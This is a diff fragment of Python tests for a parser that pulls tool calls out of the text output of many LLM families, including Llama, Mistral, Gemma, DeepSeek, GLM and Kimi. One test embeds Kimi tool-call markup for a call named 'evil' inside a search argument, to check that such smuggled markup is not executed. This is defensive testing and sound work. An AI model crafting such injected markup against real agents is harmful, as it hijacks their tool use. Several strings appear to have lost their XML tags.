strip_tool_markup(text, final = True) == "" + + def test_llama3_python_tag_json_form_non_scalar_args_skipped(self): + # Should NOT fabricate ``{"value": args}`` when the JSON form + # has a non-dict / non-string ``arguments`` value. + for bad in ( + '<|python_tag|>{"name":"foo","arguments":42}', + '<|python_tag|>{"name":"foo","arguments":[1,2,3]}', + '<|python_tag|>{"name":"foo","arguments":null}', + '<|python_tag|>{"name":"foo","arguments":true}', + ): + assert parse_tool_calls_from_text(bad) == [], bad + + # ── Llama-3.2 bare JSON ``custom_tools`` ───────────────────── + + def test_llama3_2_bare_json_parameters(self): + # Llama-3.2-Instruct emits bare JSON directly as content; no + # <|python_tag|> prefix per its training template. + import json + + text = '{"name":"web_search","parameters":{"query":"Tokyo weather"}}' + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + assert result[0]["function"]["name"] == "web_search" + args = json.loads(result[0]["function"]["arguments"]) + assert args == {"query": "Tokyo weather"} + + def test_llama3_2_bare_json_arguments_key(self): + import json + + text = '{"name":"add","arguments":{"a":1,"b":2}}' + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + args = json.loads(result[0]["function"]["arguments"]) + assert args == {"a": 1, "b": 2} + + def test_llama3_2_bare_json_multi_call(self): + # Llama-3 may chain calls with ``; `` per training template. + text = '{"name":"a","parameters":{}}; {"name":"b","parameters":{}}' + result = parse_tool_calls_from_text(text) + assert len(result) == 2 + assert result[0]["function"]["name"] == "a" + assert result[1]["function"]["name"] == "b" + + def test_llama3_2_bare_json_with_eom_sentinel(self): + text = '{"name":"x","parameters":{"y":1}}<|eom_id|>' + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + assert result[0]["function"]["name"] == "x" + + def test_llama3_2_bare_json_leading_sentinel_skipped(self): + # Sometimes prior <|eot_id|> leaks into the next turn. + text = '<|eot_id|>{"name":"x","parameters":{}}' + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + assert result[0]["function"]["name"] == "x" + + def test_llama3_2_bare_json_plain_prose_does_not_fire(self): + # Defensive: must NOT fire on plain assistant prose. + text = "Hello world, how are you today?" + assert parse_tool_calls_from_text(text) == [] + + def test_llama3_2_bare_json_embedded_in_prose_does_not_fire(self): + # Defensive: JSON embedded in prose must NOT fire (parser is + # strict about content STARTING with `{`). + text = 'The tool result was: {"name":"foo"}' + assert parse_tool_calls_from_text(text) == [] + + def test_llama3_2_bare_json_missing_name_does_not_fire(self): + text = '{"result":"ok","data":[1,2,3]}' + assert parse_tool_calls_from_text(text) == [] + + def test_llama3_2_bare_json_missing_args_does_not_fire(self): + text = '{"name":"x"}' + assert parse_tool_calls_from_text(text) == [] + + def test_llama3_2_bare_json_args_not_dict_does_not_fire(self): + text = '{"name":"x","parameters":42}' + assert parse_tool_calls_from_text(text) == [] + + def test_llama3_2_bare_json_string_parameters_does_not_fire(self): + # Llama-3 spec: parameters must be a dict. Prose like + # ``{"name":"foo","parameters":"a sentence"}`` must NOT trigger. + text = '{"name":"foo","parameters":"this is a sentence"}' + assert parse_tool_calls_from_text(text) == [] + + def test_llama3_2_bare_json_string_arguments_not_json_does_not_fire(self): + # OpenAI ``arguments`` may be a JSON-string of a dict, but a + # plain non-JSON string must not pass the guard. + text = '{"name":"foo","arguments":"not json"}' + assert parse_tool_calls_from_text(text) == [] + + def test_llama3_2_bare_json_string_arguments_json_dict_fires(self): + # OpenAI shape: arguments is a JSON-encoded string of a dict. + text = '{"name":"foo","arguments":"{\\"q\\":\\"x\\"}"}' + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + assert result[0]["function"]["name"] == "foo" + # arguments stays as the original JSON-string. + assert result[0]["function"]["arguments"] == '{"q":"x"}' + + def test_llama3_2_bare_json_string_arguments_json_non_dict_does_not_fire(self): + # JSON-string that parses to a list / scalar / null must NOT fire. + for bad in ( + '{"name":"foo","arguments":"[1,2,3]"}', + '{"name":"foo","arguments":"\\"plain\\""}', + '{"name":"foo","arguments":"null"}', + '{"name":"foo","arguments":"42"}', + ): + assert parse_tool_calls_from_text(bad) == [], bad + + # Mistral pre-v11 + + def test_mistral_pre_v11_array(self): + import json + + text = '[TOOL_CALLS] [{"name":"web_search","arguments":{"query":"hello"},"id":"abc"}]' + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + assert result[0]["function"]["name"] == "web_search" + # Mistral provides its own id; preserve it. + assert result[0]["id"] == "abc" + assert json.loads(result[0]["function"]["arguments"]) == {"query": "hello"} + + def test_mistral_array_parameters_key_alias(self): + import json + + # Array object keyed on ``parameters`` (not ``arguments``) must keep its + # payload, matching the JSON/XML paths and SGLang's base detector. + text = '[TOOL_CALLS] [{"name":"get_weather","parameters":{"city":"Paris"}}]' + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + assert result[0]["function"]["name"] == "get_weather" + assert json.loads(result[0]["function"]["arguments"]) == {"city": "Paris"} + + def test_mistral_pre_v11_array_multi(self): + text = ( + '[TOOL_CALLS] [{"name":"a","arguments":{"x":1},"id":"id1"},' + '{"name":"b","arguments":{"y":2},"id":"id2"}]' + ) + result = parse_tool_calls_from_text(text) + assert len(result) == 2 + assert result[0]["function"]["name"] == "a" + assert result[1]["function"]["name"] == "b" + + def test_mistral_pre_v11_unclosed_array(self): + # Closing ``]`` truncated -- parser must heal off individual objects. + text = '[TOOL_CALLS] [{"name":"web_search","arguments":{"q":"x"},"id":"id"}' + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + assert result[0]["function"]["name"] == "web_search" + + # Mistral v11+ + + def test_mistral_v11_single(self): + # Magistral / Mistral Small 3.1: bare ``name{json}`` after trigger. + import json + + text = '[TOOL_CALLS]add{"a":3.5,"b":4}' + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + assert result[0]["function"]["name"] == "add" + assert json.loads(result[0]["function"]["arguments"]) == {"a": 3.5, "b": 4} + + def test_mistral_v11_parallel(self): + # v11+ parallel: ``[TOOL_CALLS]a{...}[TOOL_CALLS]b{...}``. + text = '[TOOL_CALLS]add{"a":1}[TOOL_CALLS]sub{"b":2}' + result = parse_tool_calls_from_text(text) + assert len(result) == 2 + assert result[0]["function"]["name"] == "add" + assert result[1]["function"]["name"] == "sub" + + def test_mistral_v11_with_args_marker(self): + # Ministral / Mistral Large 3: ``[TOOL_CALLS]name[ARGS]{json}``. + import json + + text = '[TOOL_CALLS]add[ARGS]{"a":1,"b":2}' + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + assert result[0]["function"]["name"] == "add" + assert json.loads(result[0]["function"]["arguments"]) == {"a": 1, "b": 2} + + def test_mistral_strip_markup_v11(self): + text = '[TOOL_CALLS]add{"a":1}' + assert strip_tool_markup(text, final = True) == "" + + def test_mistral_call_id_form(self): + # Mistral Small 3.2: ``[TOOL_CALLS]name[CALL_ID][ARGS]{json}``. + # The ``[CALL_ID]`` segment must be skipped, not treated as a stop + # (llama.cpp test-chat.cpp:4785 parses this to one call). + import json + + text = '[TOOL_CALLS]special_function[CALL_ID]123456789[ARGS]{"arg1": 1}' + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + assert result[0]["function"]["name"] == "special_function" + assert json.loads(result[0]["function"]["arguments"]) == {"arg1": 1} + + def test_mistral_call_id_form_parallel(self): + text = ( + '[TOOL_CALLS]special_function[CALL_ID]000000001[ARGS]{"arg1": 1}' + "[TOOL_CALLS]special_function_with_opt[CALL_ID]000000002" + '[ARGS]{"arg1": 1, "arg2": 2}' + ) + result = parse_tool_calls_from_text(text) + assert len(result) == 2 + assert result[0]["function"]["name"] == "special_function" + assert result[1]["function"]["name"] == "special_function_with_opt" + + def test_mistral_call_id_form_stripped(self): + text = '[TOOL_CALLS]special_function[CALL_ID]123456789[ARGS]{"arg1": 1}' + assert strip_tool_markup(text, final = True) == "" + + def test_mistral_think_reasoning_ignored(self): + # Magistral wraps reasoning in ``[THINK]...[/THINK]``. A ``[TOOL_CALLS]`` + # inside the reasoning is chain-of-thought, not a real call; only the + # call after ``[/THINK]`` counts (llama.cpp test-chat.cpp:2285). + import json + + text = ( + '[THINK]Let me think about [TOOL_CALLS]fake[ARGS]{"x":1} ' + 'and more[/THINK][TOOL_CALLS]real_fn[ARGS]{"y":2}' + ) + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + assert result[0]["function"]["name"] == "real_fn" + assert json.loads(result[0]["function"]["arguments"]) == {"y": 2} + + def test_mistral_think_reasoning_no_real_call(self): + # Reasoning that merely mentions a tool call but does not emit one + # after ``[/THINK]`` yields no calls. + text = '[THINK]I might call [TOOL_CALLS]fake[ARGS]{"x":1}[/THINK]Done.' + assert parse_tool_calls_from_text(text) == [] + + def test_mistral_think_literal_in_argument_preserved(self): + # A literal ``[THINK]`` inside a real tool argument (after the call) + # must not be stripped or corrupt the parse. + import json + + text = '[TOOL_CALLS]search[ARGS]{"q":"explain the [THINK] token"}' + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + assert json.loads(result[0]["function"]["arguments"]) == {"q": "explain the [THINK] token"} + + # Gemma 4 + + def test_gemma4_simple_call(self): + import json + + text = ( + "<|tool_call>call:get_weather{" + 'location:<|"|>Tokyo<|"|>,units:<|"|>celsius<|"|>}' + ) + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + assert result[0]["function"]["name"] == "get_weather" + args = json.loads(result[0]["function"]["arguments"]) + assert args == {"location": "Tokyo", "units": "celsius"} + + def test_gemma4_with_primitives(self): + import json + + text = ( + "<|tool_call>call:set_pref{" + "enabled:true,attempts:5,threshold:1.5,nickname:null}" + ) + result = parse_tool_calls_from_text(text) + args = json.loads(result[0]["function"]["arguments"]) + assert args == {"enabled": True, "attempts": 5, "threshold": 1.5, "nickname": None} + + def test_gemma4_nested_args(self): + # Gemma 4 nests dicts / lists with bare keys and ``<|"|>`` strings. + import json + + text = ( + "<|tool_call>call:search{" + 'query:<|"|>foo<|"|>,filters:{site:<|"|>example.com<|"|>,recent:true},' + 'tags:[<|"|>a<|"|>,<|"|>b<|"|>]}' + ) + result = parse_tool_calls_from_text(text) + args = json.loads(result[0]["function"]["arguments"]) + assert args["query"] == "foo" + assert args["filters"] == {"site": "example.com", "recent": True} + assert args["tags"] == ["a", "b"] + + def test_gemma4_multi_call(self): + text = "<|tool_call>call:a{x:1}<|tool_call>call:b{y:2}" + result = parse_tool_calls_from_text(text) + assert len(result) == 2 + assert result[0]["function"]["name"] == "a" + assert result[1]["function"]["name"] == "b" + + def test_gemma4_unclosed_does_not_raise(self): + # Truncated mid-stream; must not raise. + text = '<|tool_call>call:foo{x:<|"|>bar<|"|>' + result = parse_tool_calls_from_text(text) + assert isinstance(result, list) + + def test_gemma4_strip_markup_final(self): + text = "<|tool_call>call:foo{x:1}" + assert strip_tool_markup(text, final = True) == "" + + # ── Gemma 4 wrapper-less (skip_special_tokens stripped) ─────────── + + def test_gemma4_bare_stripped_call(self): + # skip_special_tokens removes <|tool_call>/ and <|"|>, + # leaving a bare call:NAME{...} with an unquoted value. + import json + + text = "call:web_search{query:weather in San Francisco right now}" + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + assert result[0]["function"]["name"] == "web_search" + args = json.loads(result[0]["function"]["arguments"]) + assert args == {"query": "weather in San Francisco right now"} + + def test_gemma4_bare_code_with_commas(self): + # A code value with commas must not truncate at the first comma. + import json + + text = ( + "call:python{code:def f(n):\n a, b = 0, 1\n" + " for _ in range(2, n+1):\n a, b = b, a + b\n" + " return b\n\nprint(f(30))}" + ) + result = parse_tool_calls_from_text(text) + assert result[0]["function"]["name"] == "python" + code = json.loads(result[0]["function"]["arguments"])["code"] + assert "a, b = 0, 1" in code and "print(f(30))" in code + + def test_gemma4_bare_quotes_normalized(self): + # The same value quoted vs unquoted must parse identically so the + # agentic loop can collapse a looping model's repeated calls. + import json + + a = parse_tool_calls_from_text('call:web_search{query:"foo bar"}') + b = parse_tool_calls_from_text("call:web_search{query:foo bar}") + assert json.loads(a[0]["function"]["arguments"]) == {"query": "foo bar"} + assert json.loads(a[0]["function"]["arguments"]) == json.loads( + b[0]["function"]["arguments"] + ) + + def test_gemma4_bare_multi_arg(self): + import json + + text = "call:web_search{query:pytorch latest, url:https://pytorch.org}" + result = parse_tool_calls_from_text(text) + args = json.loads(result[0]["function"]["arguments"]) + assert args == {"query": "pytorch latest", "url": "https://pytorch.org"} + + def test_gemma4_bare_not_matched_in_prose(self): + # A word ending in "call:" must not trigger a bare tool call. + text = "I will recall:that the function{ } is helpful." + result = parse_tool_calls_from_text(text) + assert result == [] + + def test_gemma4_bare_strip_markup_final(self): + text = "Here you go: call:web_search{query:weather today}" + assert "call:web_search" not in strip_tool_markup(text, final = True) + + # ── Cross-format sentinels ──────────────────────────────────── + + def test_all_markers_in_tool_xml_signals(self): + # Streaming buffer wakes up on every emission marker. + from core.inference.tool_call_parser import TOOL_XML_SIGNALS + for marker in ( + "", + "", + "[TOOL_CALLS]", + "<|tool_call>", + ): + assert marker in TOOL_XML_SIGNALS, f"streaming loop would not wake on {marker!r}" + + def test_has_tool_signal_for_all_formats(self): + assert has_tool_signal('<|python_tag|>brave_search.call(q="x")') + assert has_tool_signal('[TOOL_CALLS] [{"name":"x"}]') + assert has_tool_signal('[TOOL_CALLS]add{"a":1}') + assert has_tool_signal("<|tool_call>call:foo{}") + # ──────────────────────────────────────────────────────────────────── # run_safetensors_tool_loop @@ -262,6 +1234,553 @@ def _make_loop( ), exec_fn +class TestParserDeepSeek: + """DeepSeek R1 / V3 / V3.1 coverage. Markers use full-width pipes + (U+FF5C) and lower-one-eighth-block (U+2581). R1 wraps args in a + Markdown ``` ```json ``` ``` fence; V3 / V3.1 emit bare JSON.""" + + def test_r1_simple_call_with_code_fence(self): + import json as _json + + text = ( + "<｜tool▁calls▁begin｜>" + "<｜tool▁call▁begin｜>function" + "<｜tool▁sep｜>special_function\n" + "```json\n" + '{"arg1": 1}\n' + "```" + "<｜tool▁call▁end｜>" + "<｜tool▁calls▁end｜>" + ) + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + assert result[0]["function"]["name"] == "special_function" + assert _json.loads(result[0]["function"]["arguments"]) == {"arg1": 1} + + def test_r1_short_form_outer_marker(self): + # llama.cpp accepts ``<｜tool▁calls｜>`` as the short-form opener. + import json as _json + + text = ( + "<｜tool▁calls｜>function" + "<｜tool▁sep｜>get_time\n" + "```json\n" + '{"city": "Paris"}\n' + "```" + "<｜tool▁call▁end｜>" + "<｜tool▁calls▁end｜>" + ) + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + assert result[0]["function"]["name"] == "get_time" + + def test_v3_1_bare_json(self): + # V3 / V3.1 omit the ``function`` prefix and the code fence. + import json as _json + + text = ( + "<｜tool▁calls▁begin｜>" + "<｜tool▁call▁begin｜>get_time" + "<｜tool▁sep｜>" + '{"city": "Tokyo"}' + "<｜tool▁call▁end｜>" + "<｜tool▁calls▁end｜>" + ) + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + assert result[0]["function"]["name"] == "get_time" + assert _json.loads(result[0]["function"]["arguments"]) == {"city": "Tokyo"} + + def test_v3_1_multi_call_shares_envelope(self): + # Parallel calls share one outer envelope; each inner call has + # its own ``<｜tool▁call▁begin｜>...<｜tool▁call▁end｜>``. + text = ( + "<｜tool▁calls▁begin｜>" + "<｜tool▁call▁begin｜>get_time" + "<｜tool▁sep｜>" + '{"city": "Paris"}' + "<｜tool▁call▁end｜>" + "<｜tool▁call▁begin｜>get_weather" + "<｜tool▁sep｜>" + '{"city": "Paris"}' + "<｜tool▁call▁end｜>" + "<｜tool▁calls▁end｜>" + ) + result = parse_tool_calls_from_text(text) + assert len(result) == 2 + assert result[0]["function"]["name"] == "get_time" + assert result[1]["function"]["name"] == "get_weather" + + def test_v3_1_with_reasoning(self): + # Reasoning ... precedes the tool block. + text = ( + "I'm thinking\n" + "<｜tool▁calls▁begin｜>" + "<｜tool▁call▁begin｜>get_time" + "<｜tool▁sep｜>" + '{"city": "Tokyo"}' + "<｜tool▁call▁end｜>" + "<｜tool▁calls▁end｜>" + ) + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + assert result[0]["function"]["name"] == "get_time" + + def test_v3_1_strict_rejects_unclosed_envelope(self): + # Envelope truncated mid-stream (no <｜tool▁calls▁end｜>): healed by + # default, rejected with Auto-Heal off. + text = ( + "<｜tool▁calls▁begin｜>" + "<｜tool▁call▁begin｜>get_time" + "<｜tool▁sep｜>" + '{"city": "Tokyo"}' + ) + assert len(parse_tool_calls_from_text(text)) == 1 + assert parse_tool_calls_from_text(text, allow_incomplete = False) == [] + + def test_v3_1_multi_call_recovers_when_first_end_marker_missing(self): + # First inner call omits its <｜tool▁call▁end｜>; the second must still be parsed. + text = ( + "<｜tool▁calls▁begin｜>" + "<｜tool▁call▁begin｜>get_time" + "<｜tool▁sep｜>" + '{"city": "Paris"}' + "<｜tool▁call▁begin｜>get_weather" + "<｜tool▁sep｜>" + '{"city": "Paris"}' + "<｜tool▁call▁end｜>" + "<｜tool▁calls▁end｜>" + ) + result = parse_tool_calls_from_text(text) + assert [c["function"]["name"] for c in result] == ["get_time", "get_weather"] + + def test_v3_1_strict_recovers_after_missing_call_end(self): + # Strict mode (Auto-Heal off): the FIRST inner call is missing its <｜tool▁call▁end｜> + # terminator, so it is skipped -- but the parser must keep scanning and still return the ... + text = ( + "<｜tool▁calls▁begin｜>" + "<｜tool▁call▁begin｜>get_weather" + "<｜tool▁sep｜>" + '{"city": "SF"}' + "<｜tool▁call▁begin｜>get_time" + "<｜tool▁sep｜>" + '{"tz": "PST"}' + "<｜tool▁call▁end｜>" + "<｜tool▁calls▁end｜>" + ) + # Auto-Heal keeps both; strict skips the truncated first, keeps the second. + assert [c["function"]["name"] for c in parse_tool_calls_from_text(text)] == [ + "get_weather", + "get_time", + ] + strict = parse_tool_calls_from_text(text, allow_incomplete = False) + assert [c["function"]["name"] for c in strict] == ["get_time"] + + def test_r1_strict_recovers_after_missing_close_fence(self): + # R1 form. + text = ( + "<｜tool▁calls▁begin｜>" + "function<｜tool▁sep｜>get_weather\n```json\n" + '{"city": "SF"}' + "function<｜tool▁sep｜>get_time\n```json\n" + '{"tz": "PST"}' + "\n```<｜tool▁call▁end｜>" + "<｜tool▁calls▁end｜>" + ) + strict = parse_tool_calls_from_text(text, allow_incomplete = False) + assert [c["function"]["name"] for c in strict] == ["get_time"] + + def test_deepseek_strip_markup(self): + text = ( + "before " + "<｜tool▁calls▁begin｜>" + "<｜tool▁call▁begin｜>foo" + "<｜tool▁sep｜>" + "{}" + "<｜tool▁call▁end｜>" + "<｜tool▁calls▁end｜>" + " after" + ) + assert strip_tool_markup(text, final = True) == "before after" + + def test_deepseek_signal_wakes_streaming(self): + # The streaming buffer state machine must wake on the DeepSeek opener so the rest of the + # section is drained instead of leaked. + text = "<｜tool▁calls▁begin｜>..." + assert has_tool_signal(text) + + def test_deepseek_short_opener_is_stripped(self): + # The short ``<｜tool▁calls｜>`` opener is parsed, so its markup must also be stripped (the + # strip patterns used to require ...calls_begin and left the short-opener markup leaking to ... + text = ( + "before " + "<｜tool▁calls｜>" + "<｜tool▁call▁begin｜>foo" + "<｜tool▁sep｜>" + "{}" + "<｜tool▁call▁end｜>" + "<｜tool▁calls▁end｜>" + " after" + ) + assert strip_tool_markup(text, final = True) == "before after" + + +class TestParserGLM: + """GLM 4.5 / 4.6 / 4.7 coverage. Marker collides with Qwen's + ```` but the body shape is XML kv pairs instead of JSON, + so the dispatch order keeps both formats working.""" + + def test_glm_simple_call(self): + import json as _json + + text = ( + "web_search\n" + "query\n" + "weather Tokyo\n" + "" + ) + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + assert result[0]["function"]["name"] == "web_search" + args = _json.loads(result[0]["function"]["arguments"]) + # Strings come through raw; the parser does not double-quote. + assert args == {"query": "weather Tokyo"} + + def test_glm_mixed_types_decode_correctly(self): + # Per the chat_template.jinja, strings are emitted raw and non-strings are JSON-encoded. + import json as _json + + text = ( + "complex_function\n" + "name\nJohn Doe\n" + "age\n30\n" + "active\ntrue\n" + "score\n95.5\n" + "" + ) + result = parse_tool_calls_from_text(text) + args = _json.loads(result[0]["function"]["arguments"]) + assert args == {"name": "John Doe", "age": 30, "active": True, "score": 95.5} + + def test_glm_multi_call_back_to_back(self): + # GLM emits parallel calls as consecutive ``... + # `` blocks with no outer envelope. + text = ( + "a\nx\n1\n" + "b\ny\n2\n" + ) + result = parse_tool_calls_from_text(text) + assert len(result) == 2 + assert result[0]["function"]["name"] == "a" + assert result[1]["function"]["name"] == "b" + + def test_glm_unclosed_tool_call_does_not_lose_value(self): + # Truncated mid-stream (no ) -- the parser must + # still surface what it found rather than dropping the call. + text = "web_search\nquery\npartial" + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + assert result[0]["function"]["name"] == "web_search" + + def test_glm_does_not_break_qwen_path(self): + # Real Qwen emission must still be parsed by the Qwen branch, + # not silently misrouted to GLM (the marker is shared). + text = '{"name":"web_search","arguments":{"q":"x"}}' + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + assert result[0]["function"]["name"] == "web_search" + + def test_glm_strip_markup(self): + text = ( + "before " + "a\nx\n1\n" + " after" + ) + assert strip_tool_markup(text, final = True) == "before after" + + def test_glm_zero_arg_inline_call(self): + # GLM 4.7 emits a no-argument call inline as ``name`` (name followed + # straight by the close tag, no \n / ). + import json as _json + + text = "get_current_date" + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + assert result[0]["function"]["name"] == "get_current_date" + assert _json.loads(result[0]["function"]["arguments"]) == {} + + def test_glm_zero_arg_call_in_parallel_batch(self): + # A no-arg call alongside a normal one must not make either vanish. + text = ( + "get_current_date" + "get_weather\ncity\n" + "Tokyo" + ) + result = parse_tool_calls_from_text(text) + assert len(result) == 2 + assert result[0]["function"]["name"] == "get_current_date" + assert result[1]["function"]["name"] == "get_weather" + + def test_glm_string_value_whitespace_preserved(self): + # The template emits string args verbatim, so significant leading / trailing whitespace + # (code, diffs) must survive. + import json as _json + + text = ( + "run\ncode\n" + " indented code " + ) + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + args = _json.loads(result[0]["function"]["arguments"]) + assert args == {"code": " indented code "} + + +class TestParserKimi: + """Kimi K2 / Moonshot coverage. ASCII pipes only (NOT full-width). + Name arrives as ``functions.NAME:IDX``; the parser strips the + prefix and the index to recover the bare callable name while + preserving the full id for round-trip rendering.""" + + def test_kimi_simple_call(self): + import json as _json + + text = ( + "<|tool_calls_section_begin|>" + "<|tool_call_begin|>functions.special_function:0" + "<|tool_call_argument_begin|>" + '{"arg1": 1}' + "<|tool_call_end|>" + "<|tool_calls_section_end|>" + ) + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + # Bare name recovered; full id preserved verbatim. + assert result[0]["function"]["name"] == "special_function" + assert result[0]["id"] == "functions.special_function:0" + assert _json.loads(result[0]["function"]["arguments"]) == {"arg1": 1} + + def test_outer_tool_call_with_embedded_kimi_marker_parses_outer(self): + # A Qwen/Hermes whose argument contains literal Kimi markup (a user asking + # about that syntax) must execute the OUTER call, not the embedded marker via the ... + text = ( + '{"name":"web_search","arguments":{"query":' + '"explain <|tool_call_begin|>functions.evil:0' + '<|tool_call_argument_begin|>{}<|tool_call_end|>"}}' + "" + ) + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + assert result[0]["function"]["name"] == "web_search" + + def test_genuine_kimi_call_without_envelope_still_parses(self): + # Control: a real Kimi call with no leading envelope must + # still go through the pre-pass. + text = ( + "<|tool_calls_section_begin|>" + "<|tool_call_begin|>functions.web_search:0" + '<|tool_call_argument_begin|>{"query":"x"}<|tool_call_end|>' + "<|tool_calls_section_end|>" + ) + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + assert result[0]["function"]["name"] == "web_search" + + def test_kimi_multi_call_with_index(self): + # Multiple consecutive calls inside a single section, each + # with its own monotonically incrementing ``:IDX``. + text = ( + "<|tool_calls_section_begin|>" + "<|tool_call_begin|>functions.read_file:0" + "<|tool_call_argument_begin|>" + '{"path":"a"}' + "<|tool_call_end|>" + "<|tool_call_begin|>functions.web_search:1" + "<|tool_call_argument_begin|>" + '{"query":"x"}' + "<|tool_call_end|>" + "<|tool_calls_section_end|>" + ) + result = parse_tool_calls_from_text(text) + assert len(result) == 2 + assert result[0]["function"]["name"] == "read_file" + assert result[0]["id"].endswith(":0") + assert result[1]["function"]["name"] == "web_search" + assert result[1]["id"].endswith(":1") + + def test_kimi_dotted_name_keeps_full_dotted_name(self): + # A dotted Kimi id keeps its FULL name after stripping only the ``functions.`` prefix and + # ``:idx`` suffix -- matching current vLLM ... + text = ( + "<|tool_calls_section_begin|>" + "<|tool_call_begin|>a.b.c:2" + "<|tool_call_argument_begin|>" + "{}" + "<|tool_call_end|>" + "<|tool_calls_section_end|>" + ) + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + assert result[0]["function"]["name"] == "a.b.c" + + def test_kimi_dotted_mcp_name_with_functions_prefix(self): + # ``functions.mcp.server-list:0`` must resolve to ``mcp.server-list`` + # (only the ``functions.`` prefix and ``:idx`` are removed). + text = ( + "<|tool_calls_section_begin|>" + "<|tool_call_begin|>functions.mcp.server-list:0" + "<|tool_call_argument_begin|>" + "{}" + "<|tool_call_end|>" + "<|tool_calls_section_end|>" + ) + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + assert result[0]["function"]["name"] == "mcp.server-list" + + def test_kimi_multi_call_recovers_when_first_end_marker_missing(self): + # First call omits its <|tool_call_end|>; the second must still parse. + text = ( + "<|tool_calls_section_begin|>" + "<|tool_call_begin|>functions.read_file:0" + "<|tool_call_argument_begin|>" + '{"path":"a"}' + "<|tool_call_begin|>functions.web_search:1" + "<|tool_call_argument_begin|>" + '{"query":"x"}' + "<|tool_call_end|>" + "<|tool_calls_section_end|>" + ) + result = parse_tool_calls_from_text(text) + assert [c["function"]["name"] for c in result] == ["read_file", "web_search"] + + def test_kimi_handles_unclosed_section(self): + # End marker missing -- the parser must still extract the call. + text = ( + "<|tool_calls_section_begin|>" + "<|tool_call_begin|>functions.foo:0" + "<|tool_call_argument_begin|>" + '{"a":1}' + "<|tool_call_end|>" + ) + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + assert result[0]["function"]["name"] == "foo" + + def test_kimi_strip_markup(self): + text = ( + "before " + "<|tool_calls_section_begin|>" + "<|tool_call_begin|>functions.x:0" + "<|tool_call_argument_begin|>" + "{}" + "<|tool_call_end|>" + "<|tool_calls_section_end|>" + " after" + ) + assert strip_tool_markup(text, final = True) == "before after" + + def test_kimi_signal_wakes_streaming(self): + text = "<|tool_calls_section_begin|>..." + assert has_tool_signal(text) + + def test_kimi_call_without_section_wrapper(self): + # llama.cpp makes the ``<|tool_calls_section_begin|>`` wrapper optional -- Kimi K2 can emit + # a bare ``<|tool_call_begin|>`` call. + import json as _json + + text = ( + "<|tool_call_begin|>functions.execute_command:0" + "<|tool_call_argument_begin|>" + '{"cmd":"ls"}' + "<|tool_call_end|>" + ) + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + assert result[0]["function"]["name"] == "execute_command" + assert _json.loads(result[0]["function"]["arguments"]) == {"cmd": "ls"} + + def test_kimi_malformed_json_recovers_later_calls(self): + # A call with malformed / truncated JSON must not drop the valid calls that follow it in + # the same section (the bad call is skipped, the good one is recovered). + import json as _json + + text = ( + "<|tool_calls_section_begin|>" + "<|tool_call_begin|>functions.a:0" + '<|tool_call_argument_begin|>{"city":"Beijing"' # missing closing brace + "<|tool_call_end|>" + "<|tool_call_begin|>functions.b:1" + '<|tool_call_argument_begin|>{"city":"Shanghai"}' + "<|tool_call_end|>" + "<|tool_calls_section_end|>" + ) + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + assert result[0]["function"]["name"] == "b" + assert _json.loads(result[0]["function"]["arguments"]) == {"city": "Shanghai"} + + +class TestParserCrossFormatRouting: + """Ensure the per-format dispatch order doesn't misroute any + family. Real emissions for each new family + every old family + must still parse correctly when intermixed.""" + + def test_dispatch_routes_each_family_correctly(self): + cases = [ + ( + "Qwen", + '{"name":"a","arguments":{"x":1}}', + "a", + ), + ( + "DeepSeek V3.1", + "<｜tool▁calls▁begin｜>" + "<｜tool▁call▁begin｜>get_time" + "<｜tool▁sep｜>" + '{"city":"Tokyo"}' + "<｜tool▁call▁end｜>" + "<｜tool▁calls▁end｜>", + "get_time", + ), + ( + "GLM", + "web_search\n" + "q\nx\n" + "", + "web_search", + ), + ( + "Kimi", + "<|tool_calls_section_begin|>" + "<|tool_call_begin|>functions.add:0" + "<|tool_call_argument_begin|>" + '{"a":1}' + "<|tool_call_end|>" + "<|tool_calls_section_end|>", + "add", + ), + ] + for label, text, expected_name in cases: + result = parse_tool_calls_from_text(text) + assert len(result) == 1, f"{label}: parser missed the call" + assert result[0]["function"]["name"] == expected_name, ( + f"{label}: got {result[0]['function']['name']!r}, " f"expected {expected_name!r}" + ) + + def test_all_new_markers_in_tool_xml_signals(self): + # The safetensors / MLX streaming buffer must wake on every supported emission marker -- + # otherwise the BUFFERING state leaks tool content to the user before parse. + from core.inference.tool_call_parser import TOOL_XML_SIGNALS + for marker in ( + "<｜tool▁calls▁begin｜>", + "<｜tool▁call▁begin｜>", + "<|tool_calls_section_begin|>", + "<|tool_call_begin|>", + ): + assert marker in TOOL_XML_SIGNALS, f"streaming loop would not wake on {marker!r}" + + def test_active_tools_are_passed_to_single_turn_after_render_html_success(): captured_tool_names: list[list[str]] = [] exec_fn = FakeExecuteTool(["Rendered HTML canvas."]) @@ -297,6 +1816,449 @@ def test_active_tools_are_passed_to_single_turn_after_render_html_success(): assert any(event.get("type") == "content" and event.get("text") == "Done." for event in events) +def test_spent_one_shot_rehearsal_repeat_is_detected_not_blank_continuation(): + # A spent one-shot (render_html) stays in the ORIGINAL tool list; 